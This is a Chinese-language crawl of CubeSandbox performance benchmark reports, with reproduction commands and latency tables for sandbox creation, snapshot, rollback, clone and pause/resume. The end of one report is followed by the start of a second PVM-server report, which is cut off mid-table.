**执行命令：**（脚本：[`bench_snapshot_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_snapshot_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，并发档位在命令行控制；逐档串行调用： python bench_snapshot_concurrency.py -c 1 -n 5 python bench_snapshot_concurrency.py -c 5 -n 5 --no-header python bench_snapshot_concurrency.py -c 10 -n 5 --no-header ``` **测试数据**（全新沙箱原样打快照，实测脏页约 **7 MB**，由 `/data/log/CubeVmm/vmm.log` 中 `PagemapAnon snapshot saved` 记录确认；该值为沙箱基线匿名内存页大小，本节不作为变量）： | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-snapshot avg | |:----:|:----:|--------:|--------:|--------:|--------:|----------------:| | 1 | 5 | 49.8 ms | 47.3 ms | 54.1 ms | 54.1 ms | 49.8 ms | | 5 | 5 | 71.0 ms | 62.7 ms | 81.0 ms | 81.0 ms | **14.2 ms** | | 10 | 5 | 127.2 ms | 79.6 ms | 155.6 ms | 155.6 ms | **12.7 ms** | 串行单 Snapshot 约 **50 ms**；5 并发时整批 wall 约 **71 ms**，per-snapshot 均摊降至约 **14 ms**；10 并发时整批 wall 约 **127 ms**，均摊进一步降至约 **13 ms**，并发摊薄效果显著。 ### 4.2 Snapshot 制作耗时与 Dirty Page 的关系 **背景：** CubeSandbox 使用 soft-dirty 机制，只保存自上次 Snapshot 以来被修改过的内存页。实际写入量 = 脏页数 × 4 KiB，通常远小于沙箱总内存（2 GiB）。 测试通过在 `/dev/shm`（tmpfs）预先写入数据来精确控制脏页大小。"Dirty Page" 列为从 `/data/log/CubeVmm/vmm.log` 读取到的实际写入量，与理论值因 Guest OS 自身活动存在差异。 **执行命令：**（脚本：[`bench_snapshot_dirty.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_snapshot_dirty.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，脏页大小在命令行控制（-d 即写入量 MB）；按需逐档调用： python bench_snapshot_dirty.py -d 0 -n 3 python bench_snapshot_dirty.py -d 10 -n 3 --no-header python bench_snapshot_dirty.py -d 50 -n 3 --no-header python bench_snapshot_dirty.py -d 100 -n 3 --no-header python bench_snapshot_dirty.py -d 200 -n 3 --no-header python bench_snapshot_dirty.py -d 500 -n 3 --no-header python bench_snapshot_dirty.py -d 800 -n 3 --no-header python bench_snapshot_dirty.py -d 1024 -n 3 --no-header ``` > 测试在串行模式下进行，每个数据点先预热（丢弃首次结果），再正式测量 3 次取均值。"create sandbox avg" 列为基于该 Snapshot 创建新沙箱的耗时，反映 Dirty Page 大小对恢复速度的影响。 **测试数据：** | 写入量 | Dirty Page | snapshot avg | snapshot min | snapshot p95 | snapshot max | create sandbox avg | create sandbox min | create sandbox p95 | create sandbox max | |:------:|----------:|------------:|------------:|------------:|------------:|------------------:|------------------:|------------------:|------------------:| | 0 MB | 7.1 MB | 45.7 ms | 43.9 ms | 47.4 ms | 47.4 ms | 64.8 ms | 61.5 ms | 68.6 ms | 68.6 ms | | 10 MB | 38.9 MB | 75.7 ms | 73.2 ms | 79.2 ms | 79.2 ms | 60.7 ms | 57.3 ms | 66.1 ms | 66.1 ms | | 50 MB | 120.7 MB | 107.7 ms | 104.8 ms | 112.3 ms | 112.3 ms | 64.4 ms | 60.4 ms | 70.6 ms | 70.6 ms | | 100 MB | 195.0 MB | 138.6 ms | 136.7 ms | 139.9 ms | 139.9 ms | 66.5 ms | 60.9 ms | 71.1 ms | 71.1 ms | | 200 MB | 296.7 MB | 174.2 ms | 173.1 ms | 176.2 ms | 176.2 ms | 63.7 ms | 60.6 ms | 66.8 ms | 66.8 ms | | 500 MB | 602.5 MB | 289.4 ms | 285.0 ms | 293.1 ms | 293.1 ms | 64.0 ms | 61.6 ms | 66.5 ms | 66.5 ms | | 800 MB | 908.4 MB | 392.8 ms | 392.1 ms | 394.1 ms | 394.1 ms | 60.9 ms | 54.6 ms | 65.8 ms | 65.8 ms | | 1024 MB | 1136.4 MB | 486.9 ms | 471.5 ms | 510.8 ms | 510.8 ms | 68.4 ms | 58.9 ms | 84.6 ms | 84.6 ms | **关键结论：** * **Snapshot 制作耗时与 Dirty Page 大小近线性相关**：基线（7 MB 脏页）约 47 ms，每增加 100 MB 脏数据约增加 40 ms，1024 MB 时约 487 ms * **基于 Snapshot 创建新沙箱的耗时与 Dirty Page 大小无关**：恢复耗时稳定在 **60–85 ms**，因为恢复采用 CoW（写时复制）按需加载，不依赖 Dirty Page 的大小 ### 4.3 基于 Snapshot 启动沙箱 **测试方式：** 先制作一个快照，然后并发调用 `POST /sandboxes`（指定 `snapshot_id`），测量从请求发出到所有沙箱进入 `running` 的端到端 wall time。 **执行命令：**（脚本：[`bench_create_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_create_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，档位在命令行控制；按需逐档调用： python bench_create_concurrency.py -c 1 -n 3 python bench_create_concurrency.py -c 10 -n 3 --no-header python bench_create_concurrency.py -c 20 -n 3 --no-header python bench_create_concurrency.py -c 50 -n 3 --no-header ``` **测试数据：** | 并发 | n 总数 | 轮数 | wall avg | wall min | wall p95 | wall max | per-sandbox avg | |:----:|:------:|:----:|--------:|--------:|--------:|--------:|----------------:| | 1 | 1 | 3 | 63.9 ms | 62.5 ms | 66.1 ms | 66.1 ms | 63.9 ms | | 10 | 10 | 3 | 89.9 ms | 84.0 ms | 93.6 ms | 93.6 ms | **9.0 ms** | | 20 | 20 | 3 | 118.9 ms | 92.7 ms | 167.1 ms | 167.1 ms | **5.9 ms** | | 50 | 50 | 3 | 180.3 ms | 135.1 ms | 260.7 ms | 260.7 ms | **3.6 ms** | 单沙箱启动约 **64 ms**；20 并发时 wall 约 **119 ms**，均摊仅 **5.9 ms/个**；50 并发时 wall 约 **180 ms**，均摊仅 **3.6 ms/个**，展现出极强的并发扩展能力。 ### 4.4 Rollback **测试方式：** 对运行中的沙箱调用 `POST /sandboxes/{id}/rollback`，将沙箱内存和文件系统状态原地恢复至指定 Snapshot，无需重建沙箱。 > **快照所有权约束：** CubeSandbox 只允许沙箱回滚到**自己创建**的 checkpoint。因此每个并发沙箱各自 `create_snapshot()` 打点、再 `rollback()` 到自身 checkpoint，结束后删除各自快照。 **执行命令：**（脚本：[`bench_rollback_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_rollback_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，档位在命令行控制；按需逐档调用： python bench_rollback_concurrency.py -c 1 -n 5 python bench_rollback_concurrency.py -c 5 -n 5 --no-header python bench_rollback_concurrency.py -c 10 -n 5 --no-header ``` **测试数据：** | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-rollback avg | |:----:|:----:|--------:|--------:|--------:|--------:|-----------------:| | 1 | 5 | 81.6 ms | 74.7 ms | 97.4 ms | 97.4 ms | 81.6 ms | | 5 | 5 | 189.6 ms | 161.8 ms | 243.2 ms | 243.2 ms | **37.9 ms** | | 10 | 5 | 266.1 ms | 236.1 ms | 305.1 ms | 305.1 ms | **26.6 ms** | > 单次 Rollback 流程（`create_snapshot` 打点 → `rollback` 回滚到自身 checkpoint）约 **82 ms**；5 并发时整批 wall 约 **190 ms**，per-rollback 均摊降至约 **38 ms**；10 并发时整批 wall 约 **266 ms**，均摊降至约 **27 ms/次**。 > > 注：因 CubeSandbox 要求沙箱只能回滚到自己创建的 checkpoint，故无法复用共享快照，每个并发沙箱均需独立完成「打快照 + 回滚」全流程。 ### 4.5 Clone **测试方式：** 调用 `POST /sandboxes/{id}/clone`，从一个**运行中**的沙箱派生出 N 个新沙箱，完整保留源沙箱的内存和文件系统状态。 > **说明：** 本次 Clone 测试涉及磁盘文件时，相关数据均已在 Page Cache 中，测试结果不含冷读 IO 开销。 **执行命令：**（脚本：[`bench_clone_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_clone_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单场景机制，n/并发/轮数在命令行控制；按需逐场景调用： python bench_clone_concurrency.py -n 1 -c 1 --rounds 5 python bench_clone_concurrency.py -n 100 -c 10 --rounds 2 --no-header python bench_clone_concurrency.py -n 100 -c 20 --rounds 2 --no-header python bench_clone_concurrency.py -n 100 -c 50 --rounds 2 --no-header ``` **测试数据：** | 场景 | n | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-clone avg | |:------------------|:---:|:----:|:----:|--------:|--------:|--------:|--------:|--------------:| | 1 个沙箱 1 并发 | 1 | 1 | 5 | 219.6 ms | 213.6 ms | 234.7 ms | 234.7 ms | 219.6 ms | | 100 沙箱 10 并发 | 100 | 10 | 2 | 870.4 ms | 860.6 ms | 880.2 ms | 880.2 ms | **8.7 ms** | | 100 沙箱 20 并发 | 100 | 20 | 2 | 638.6 ms | 620.8 ms | 656.3 ms | 656.3 ms | **6.4 ms** | | 100 沙箱 50 并发 | 100 | 50 | 2 | 540.9 ms | 491.3 ms | 590.5 ms | 590.5 ms | **5.4 ms** | Clone（含完整内存 + 文件系统状态）单次约 **220 ms**；100 个沙箱场景下，提高并发可显著缩短整批 wall time（10 并发约 870 ms → 50 并发约 541 ms），均摊耗时从 **8.7 ms** 降至 **5.4 ms/个**。 > **关于并发档位的反直觉现象：** 10 并发的整批 wall（870 ms）反而**慢于** 20 / 50 并发（639 / 541 ms）。这是因为本测试固定 n=100，10 并发需串行排 10 批、调度轮转开销累积更多；而更高并发下批次更少、源沙箱的内存页在 Page Cache 中复用更充分，整体反而更快。说明在该规模下 Clone 并未受限于并发瓶颈，提高并发是有益的。 ### 4.6 Pause / Resume **测试方式：** 创建 `concurrency` 个沙箱，并发调用 `POST /sandboxes/{id}/pause` 暂停全部，再并发调用 `POST /sandboxes/{id}/resume` 恢复全部，分别记录 pause 和 resume 的 wall time 与均摊耗时。 > ⚠️ **当前实现说明：** Pause 当前采用 **full-memory-copy 模式**——暂停时将沙箱的全部匿名内存页写入持久化存储，耗时与沙箱总内存量线性相关（2 GiB 规格单次约 558 ms）。后续版本将升级为 **soft-dirty 增量模式**，仅保存自上次 checkpoint 以来被修改的脏页，空载沙箱的 pause 耗时预计将大幅降低至与 Snapshot 制作相当（约 **60 ms**）。 **执行命令：**（脚本：[`bench_pause_resume_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_pause_resume_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，档位在命令行控制；按需逐档调用： python bench_pause_resume_concurrency.py -c 1 -n 5 python bench_pause_resume_concurrency.py -c 5 -n 5 --no-header python bench_pause_resume_concurrency.py -c 10 -n 5 --no-header ``` **Pause 测试数据：** | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-pause avg | |:----:|:----:|--------:|--------:|--------:|--------:|-------------:| | 1 | 5 | 558.4 ms | 530.8 ms | 590.3 ms | 590.3 ms | 558.4 ms | | 5 | 5 | 656.9 ms | 621.9 ms | 683.2 ms | 683.2 ms | **131.4 ms** | | 10 | 5 | 682.1 ms | 674.1 ms | 699.3 ms | 699.3 ms | **68.2 ms** | **Resume 测试数据：** | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-resume avg | |:----:|:----:|--------:|--------:|--------:|--------:|---------------:| | 1 | 5 | 41.8 ms | 18.7 ms | 65.1 ms | 65.1 ms | 41.8 ms | | 5 | 5 | 28.2 ms | 17.6 ms | 34.2 ms | 34.2 ms | **5.6 ms** | | 10 | 5 | 35.7 ms | 30.6 ms | 41.7 ms | 41.7 ms | **3.6 ms** | **关键结论：** * **Resume 极快且并发扩展良好**：单次约 42 ms，10 并发时均摊仅 **3.6 ms/个** * **Pause 并发扩展能力强**：full-copy 模式下 wall time 随并发提升增加有限（1 并发 558 ms → 10 并发 682 ms），per-pause 均摊从 558 ms 降至 **68 ms/个**，体现出良好的 IO 并行度 * **soft-dirty 版本上线后**，pause 耗时预计降至与 Snapshot 制作（约 60 ms）相当，10 并发 per-pause 均摊将进一步降至个位数毫秒级 > **full-copy → soft-dirty 优化说明：** 当前 full-copy 模式每次 pause 需将 VM 全部匿名内存（最多 2 GiB）写入磁盘，IO 压力大且耗时长。soft-dirty 增量模式通过 `/proc/PID/clear_refs` 跟踪自上次 checkpoint 以来的脏页，pause 时只需写入实际被修改的页面（空载沙箱通常仅数 MB），可将 pause 耗时降低 **80–90%**，同时大幅提升高并发下的吞吐能力。 *** ## 附录：测试脚本索引 本文涉及的所有测试脚本均位于仓库目录： * **[`examples/cube-bench/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench)** — 基于 Template 的并发创建基准工具（Go） * **[`examples/snapshot-rollback-clone/`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/snapshot-rollback-clone)** — Snapshot / Rollback / Clone / Pause-Resume 相关 Python 脚本 --- --- url: >- https://cubesandbox.com/zh/blog/posts/2026-06-03-cubesandbox-perf-benchmark-pvm.md description: >- 本文公布 CubeSandbox 在腾讯云 SA9.4XLARGE32 标准型云服务器（PVM 内核）上的性能基准测试数据，涵盖基于 Template 创建沙箱（冷启动延迟、并发扩展、单机密度）以及 Snapshot 相关操作（Snapshot 制作、基于 Snapshot 启动、Rollback、Clone、Pause/Resume）。每节附完整复现命令，读者可按步骤在自己的环境中复现测试。 --- # CubeSandbox 核心操作性能基准测试报告（PVM 云服务器） ## 一、前言 CubeSandbox 面向 AI Agent 代码执行场景设计，极速冷启动和高并发是最关键的两项指标。本文给出在腾讯云标准型 CVM（运行 PVM 内核）上测量的性能基准数据，分为两大部分： * **第三章：基于 Template 创建沙箱** — 启动延迟、并发扩展能力、单机部署密度 * **第四章：Snapshot 相关操作** — Snapshot 制作、基于 Snapshot 启动沙箱、Rollback、Clone 每节均附有完整的测试命令，读者可直接照步骤在自己的环境中复现。 **重要说明：所有测试数据与测试环境、测试场景高度相关。** 影响因子包含但不限于：Host 的 CPU、内存、IO 性能，以及 Sandbox 内部负载（例如 Sandbox 中运行的程序越复杂、脏页越多，Snapshot 制作耗时也随之上升）。实际部署时请结合自身硬件和负载情况进行评估。 与[裸金属版测试报告](./2026-06-01-cubesandbox-perf-benchmark.md)相比，本文使用的是标准型虚拟化 CVM（SA9.4XLARGE32），CPU 核数和内存规模更小，可作为中小规模部署的参考基准。 *** ## 二、测试环境 ### 2.1 硬件信息 | 项目 | 详情 | |------|------| | 机器类型 | 腾讯云[标准型云服务器 SA9.4XLARGE32](https://cloud.tencent.com/document/product/213/11518)（可在腾讯云控制台购买同款） | | 可用区 | — | | OS | OpenCloudOS 9.4 | | 内核 | `6.6.69-opencloudos9.cubesandbox.pvm.host` | | CPU 型号 | AMD EPYC 9K65 @ — | | CPU 配置 | 1 Socket × 16 Core × 1 Thread = **16 逻辑核** | | NUMA 节点 | 1（node0: 0-15） | | 内存总量 | **32 GiB** | | 系统盘 | `/dev/vda` 200 GiB 增强型 SSD 云硬盘，格式化为 XFS，挂载至 `/` | > **SA9.4XLARGE32** 是腾讯云标准型第九代实例，搭载 AMD EPYC 9K65 处理器，适合通用计算场景。本文运行 PVM（Pagetable-based Virtual Machine）内核，支持嵌套虚拟化，可在普通云服务器上运行 CubeSandbox。如需复现本文测试，可前往[腾讯云 CVM 购买页](https://buy.cloud.tencent.com/cvm)选购同款。 > 安装 CubeSandbox 请参照[快速开始指南](../../guide/quickstart.md)。 ### 2.2 沙箱规格与模板制作 所有测试统一使用以下规格的沙箱： | 项目 | 详情 | |------|------| | 规格 | 2 vCPU / 2 GiB 内存 | | 测试镜像 | `cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest` | | 存储 | CoW reflink（XFS，`/data/cubelet/storage/`） | | 内存追踪 | soft-dirty（`/proc/PID/clear_refs`） | 测试前需先制作模板（国内使用 `cn` 镜像仓库，境外使用 `int`）： ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 1G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` 等待构建完成后，记录模板 ID： ```bash # 查看模板列表，取第一行 tpl- 开头的 ID cubemastercli tpl list ``` ### 2.3 指标说明 | 指标 | 含义 | |------|------| | **avg** | 多轮测试的平均值 | | **min** | 最小值 | | **p95** | 第 95 百分位（95% 的请求都在此时间内完成） | | **max** | 最大值 | | **wall** | 整批操作的端到端耗时（从第一个请求发出到最后一个完成），用于并发场景 | | **per** | 单次操作的均摊耗时（wall ÷ 本批操作数），用于并发场景 | 所有时间单位均为**毫秒（ms）**。每轮测试开始前执行 **Warm-up**（首轮结果丢弃），消除 page cache 冷读干扰；并发测试的各轮次之间串行发起，无交叉并发。 *** ## 三、基于 Template 创建沙箱 本章测试「从零启动一个可用沙箱」的端到端耗时，即调用 `POST /sandboxes`（指定 `template_id`）到沙箱进入 `running` 状态的时间。这是最常见的使用场景。 ### 3.1 环境准备与验证 **第一步：安装 Python SDK 并设置环境变量** ```bash pip install e2b-code-interpreter export E2B_API_URL=http://<your-server-ip>:3000 export E2B_API_KEY=e2b_000000 # 本地部署填任意非空字符串 export CUBE_TEMPLATE_ID=<your-template-id> # 上一步 cubemastercli tpl list 查到的 ID export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem # mkcert 证书路径 ``` **第二步：跑一个 Hello World 验证环境正常** 在执行任何基准测试前，先运行以下脚本确认沙箱可以正常创建和执行代码： ```python import os from e2b_code_interpreter import Sandbox with Sandbox.create(template=os.environ["CUBE_TEMPLATE_ID"]) as sandbox: result = sandbox.run_code("print('Hello from Cube Sandbox, safely isolated!')") print(result) print("✅ 环境验证通过，可以开始基准测试") ``` 保存为 `hello.py` 并执行： ```bash python hello.py ``` 看到 `✅ 环境验证通过` 字样即说明 CubeSandbox 部署正常，可继续后续测试。如果报错，请先参考 [Quick Start](../../guide/quickstart.md) 排查环境问题。 ### 3.2 启动延迟与并发扩展 使用 [`cube-bench`](https://github.com/TencentCloud/CubeSandbox/tree/master/examples/cube-bench) 工具测量不同并发度下的沙箱创建延迟。`cube-bench` 用 Go 协程并发驱动 CubeAPI，测量结果包含完整百分位统计。 **编译工具（需要 Go 1.21+）：** ```bash cd examples/cube-bench make # 产出: ./bin/cube-bench ``` **执行测试：** ```bash # 设置环境变量 export E2B_API_URL=http://<your-server-ip>:3000 export E2B_API_KEY=e2b_000000 export CUBE_TEMPLATE_ID=<your-template-id> # 1 并发，共 20 次（创建后立即删除） ./bin/cube-bench -c 1 -n 20 -w 3 # 10 并发，共 200 次 ./bin/cube-bench -c 10 -n 200 -w 3 # 20 并发，共 300 次 ./bin/cube-bench -c 20 -n 300 -w 3 ``` > `-w 3` 表示先做 3 轮热身，热身结果不计入统计。 **测试数据（腾讯云 SA9.4XLARGE32 PVM，2 vCPU / 2 GiB 沙箱）：** | 并发 | 请求数 | avg | min | P50 | P90 | P95 | P99 | max | |:----:|:------:|----:|----:|----:|----:|----:|----:|----:| | 1 | 20 | 66.7 ms | 55.9 ms | 64.5 ms | 77.5 ms | 78.2 ms | 80.2 ms | 80.2 ms | | 10 | 200 | 170.9 ms | 85.4 ms | 168.5 ms | 206.4 ms | 216.7 ms | 286.1 ms | 323.5 ms | | 20 | 300 | 364.6 ms | 116.5 ms | 356.2 ms | 459.0 ms | 521.4 ms | 673.8 ms | 744.0 ms | > 各档均独立测试，档间清空所有沙箱并留出资源池恢复时间，避免相互干扰。所有档位成功率均为 **100%**。 **关键结论：** * 单并发创建延迟约 **67 ms**（min 55.9 / P95 78.2），延迟极低且非常稳定 * 10 并发 avg 171 ms，均摊单沙箱仅 **17.1 ms**，并发扩展势头良好 * 20 并发 avg 365 ms，均摊单沙箱 **18.2 ms**，P99 674 ms 显示少量长尾请求受队列压力影响 ### 3.3 单机部署密度（内存开销） CubeSandbox 通过内核共享与写时复制（CoW）将自身额外开销压缩到极低水平。本节通过「清空机器 → 分批启动沙箱 → 记录内存变化」的方式，实测单实例净开销。 > ⚠️⚠️⚠️ **重要安全提醒** > > **每次启动沙箱前，务必先用 `free -h` 确认机器剩余内存充足，每次只启动少量，边启动边观察内存余量，确认安全后再继续下一批，切勿一次性启动过多！** 内存耗尽会触发 OOM Killer，轻则进程被杀，重则损坏运行环境，需重新部署。请根据自己机器的实际内存容量决定每批启动的数量。 **第一步：记录基线（空机内存）** ```bash export E2B_API_URL=http://<your-server-ip>:3000 export E2B_API_KEY=e2b_000000 export CUBE_TEMPLATE_ID=<your-template-id> # 确保没有残留沙箱 cubemastercli list # 记录空机内存用量 free -h # 同时记录 shim 进程数（应为 0） ps --no-headers -C containerd-shim-cube-rs | wc -l ``` **第二步：分批启动沙箱，每批结束后用 `free -h` 记录当前已用内存** 用 `cube-bench` 的 `create-only` 模式批量创建并保持沙箱存活： ```bash # 设置环境变量（与 §3.2 一致；换新终端窗口需重新 export） export E2B_API_URL=http://<your-server-ip>:3000 export E2B_API_KEY=e2b_000000 # 本地部署填任意非空字符串 export CUBE_TEMPLATE_ID=<your-template-id> # cubemastercli tpl list 查到的 ID ./bin/cube-bench -c 1 -n 1 -m create-only && free -m # 累计 1 ./bin/cube-bench -c 4 -n 4 -m create-only && free -m # 累计 5 ./bin/cube-bench -c 5 -n 5 -m create-only && free -m # 累计 10 ./bin/cube-bench -c 10 -n 10 -m create-only && free -m # 累计 20 ``` **第三步：计算单实例开销** ``` 单 VM 均摊开销 = (当前 used - 基线 used) ÷ VM 数量 ``` **测试数据（腾讯云 SA9.4XLARGE32 PVM，2 vCPU / 2 GiB 规格沙箱）：** | 存活沙箱数 | 系统 available (MB) | 单 VM 均摊开销 | |:---------:|:------------------:|:-------------:| | 0（基线） | 25570 MB | — | | 1 | 25536 MB | **~34 MB** | | 5 | 25436 MB | **~27 MB** | | 10 | 25252 MB | **~32 MB** | | 20 | 24990 MB | **~29 MB** | > 实测单 VM 均摊开销约 **27～34 MB**，CoW 按需分配效果显著——2 GiB 规格的沙箱空载时实际仅占用约 30 MB。 **单机可运行实例数估算（SA9.4XLARGE32，32 GiB 内存）：** ``` 总内存： 32768 MB 系统基线占用（实测）： 7198 MB（= 32768 - 25570，空机 available 实测值） 安全水位预留（10%）： 3276 MB 可分配给沙箱： 22294 MB（= 32768 - 7198 - 3276） 空载/轻载场景（CoW 按需分配，均摊 ~30 MB/个）： 22294 ÷ 30 ≈ 743 个 满载场景（每沙箱实际写满 2 GiB）： 22294 ÷ (2048 + 30) ≈ 10 个 ``` *** ## 四、Snapshot 相关操作 Snapshot 是 CubeSandbox 的核心功能之一，支持在运行中的沙箱上制作内存 + 文件系统快照，后续可基于快照极速恢复（Clone / Rollback）。 **安装依赖：** ```bash cd examples/snapshot-rollback-clone pip install -r requirements.txt # 安装 cubesandbox SDK # 以下环境变量为所有 4.x 压测脚本的前置，每个新 shell 都需先 export（或写入 env.sh 后 source） export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> # cubemastercli tpl list 查到的 ID export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> # 在 CubeProxy 本机运行时可写 127.0.0.1 export CUBE_PROXY_PORT_HTTP=80 # CubeProxy 监听端口, 默认 80 ``` > 下文 4.1~4.5 各节命令块默认你已在当前 shell 完成上述 `export`（脚本通过 `env.py` 读取这些变量）。换新终端窗口请重新 export。 ### 4.1 Snapshot 制作耗时与并发的关系 **测试方式：** 在运行中的沙箱上调用 `POST /sandboxes/{id}/snapshots`，N 并发时同时对 N 个沙箱各发起一次快照请求，测量整批完成的 wall time。 > CubeSandbox 对**同一个沙箱**的快照请求内部串行化，因此并发测试中每个沙箱对应独立的快照请求，实际成功数等于并发数。 **执行命令：**（脚本：[`bench_snapshot_concurrency.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_snapshot_concurrency.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，并发档位在命令行控制；逐档串行调用： python bench_snapshot_concurrency.py -c 1 -n 5 python bench_snapshot_concurrency.py -c 5 -n 5 --no-header python bench_snapshot_concurrency.py -c 10 -n 5 --no-header ``` **测试数据**（全新沙箱原样打快照，实测脏页约 **8 MB**，由 `/data/log/CubeVmm/vmm.log` 中 `PagemapAnon snapshot saved` 记录确认；该值为沙箱基线匿名内存页大小，本节不作为变量）： | 并发 | 轮数 | wall avg | wall min | wall p95 | wall max | per-snapshot avg | |:----:|:----:|--------:|--------:|--------:|--------:|----------------:| | 1 | 5 | 41.4 ms | 37.6 ms | 48.7 ms | 48.7 ms | 41.4 ms | | 5 | 5 | 58.2 ms | 51.0 ms | 66.1 ms | 66.1 ms | **11.6 ms** | | 10 | 5 | 114.1 ms | 66.2 ms | 285.2 ms | 285.2 ms | **11.4 ms** | 串行单 Snapshot 约 **41 ms**；5 并发时整批 wall 约 **58 ms**，per-snapshot 均摊降至约 **11.6 ms**；10 并发时整批 wall 约 **114 ms**，均摊进一步降至约 **11.4 ms**，并发摊薄效果显著。 ### 4.2 Snapshot 制作耗时与 Dirty Page 的关系 **背景：** CubeSandbox 使用 soft-dirty 机制，只保存自上次 Snapshot 以来被修改过的内存页。实际写入量 = 脏页数 × 4 KiB，通常远小于沙箱总内存（2 GiB）。 测试通过在 `/dev/shm`（tmpfs）预先写入数据来精确控制脏页大小。"Dirty Page" 列为从 `/data/log/CubeVmm/vmm.log` 读取到的实际写入量，与理论值因 Guest OS 自身活动存在差异。 **执行命令：**（脚本：[`bench_snapshot_dirty.py`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/snapshot-rollback-clone/bench_snapshot_dirty.py)） ```bash cd examples/snapshot-rollback-clone # 若是新开的终端，先设置环境变量（同 4.0 安装依赖一节）： export CUBE_API_URL=http://<your-server-ip>:3000 export CUBE_TEMPLATE_ID=<your-template-id> export CUBE_PROXY_NODE_IP=<your-cubeproxy-ip> export CUBE_PROXY_PORT_HTTP=80 # 脚本只提供单档机制，脏页大小在命令行控制（-d 即写入量 MB）；按需逐档调用： python bench_snapshot_dirty.py -d 0 -n 3 python bench_snapshot_dirty.py -d 10 -n 3 --no-header python bench_snapshot_dirty.py -d 50 -n 3 --no-header python bench_snapshot_dirty.py -d 100 -n 3 --no-header python bench_snapshot_dirty.py -d 200 -n 3 --no-header python bench_snapshot_dirty.py -d 500 -n 3 --no-header python bench_snapshot_dirty.py -d 800 -n 3 --no-header python bench_snapshot_dirty.py -d 1024 -n 3 --no-header ``` > 测试在串行模式下进行，每个数据点先预热（丢弃首次结果），再正式测量 3 次取均值。"create sandbox avg" 列为基于该 Snapshot 创建新沙箱的耗时，反映 Dirty Page 大小对恢复速度的影响。 **测试数据：** | 写入量 | Dirty Page | snapshot avg | snapshot min | snapshot p95 | snapshot max | create sandbox avg | create sandbox min | create sandbox p95 | create sandbox max | |:------:|----------:|------------:|------------:|------------:|------------:|------------------:|------------------:|------------------:|------------------:| | 0 MB | 8.3 MB | 42.1 ms | 37.6 ms | 45.9 ms | 45.9 ms | 71.6 ms | 65.4 ms | 77.7 ms | 77.7 ms | | 10 MB | 41.2 MB | 55.3 ms | 54.1 ms | 56.6 ms | 56.6 ms | 73.1 ms | 60.4 ms | 82.5 ms | 82.5 ms | | 50 MB | 122.6 MB | 67.7 ms | 66.5 ms | 69.6 ms | 69.6 ms | 70.3 ms | 63.9 ms | 81.4 ms | 81.4 ms | | 100 MB | 195.2 MB | 85.7 ms | 82.5 ms | 88.7 ms | 88.7 ms | 68.3 ms | 62.3 ms | 71.6 ms | 71.6 ms | | 200 MB | 296.8 MB | 100.9 ms | 98.5 ms | 102.6 ms | 102.6 ms | 65.9 ms | 62.7 